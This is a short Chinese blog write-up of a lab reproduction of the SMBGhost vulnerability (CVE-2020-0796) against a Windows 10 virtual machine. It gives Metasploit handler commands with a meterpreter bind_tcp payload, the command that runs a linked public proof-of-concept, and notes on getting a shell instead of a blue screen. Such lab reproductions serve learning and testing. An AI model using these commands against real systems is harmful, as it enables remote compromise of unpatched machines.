CVE - 2020- 0796复现
复现过程参考:https://xz.aliyun.com/t/7440
下载,安装win10虚拟机。受影响win10版本
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
只影响 SMB v3.1.1,1903和1909
关闭自动更新,关闭防火墙
ipconfig确认ip:192.168.229.131
下载漏洞检查工具,这里用的exe版本(奇安信)
允许,检测,存在漏洞。
在调整了一下后
靶机win10:192.168.87.128
攻击kali:192.168.87.130
(因为物理机没法执行,所以转战虚拟机)
蓝屏/提权poc :https://github.com/dacade/CVE-POC/tree/master/CVE-2020-0796
kali一个终端打开msf,
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 3333(POC默认为3333端口)
set rhost 192.168.87.128
run
然后在那边执行POC
python exploit.py 192.168.87.128
回到win10虚拟机,就可以看到蓝屏了。
然后隔壁老王告诉我,执行这个脚本,当目标靶机内存比较小(我这时候设置的4G)就会出现蓝屏,设置高一点(同时脸不要这么黑)
之后调整了一下,把win10靶机设为8G内存,就成功拿到了shell
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步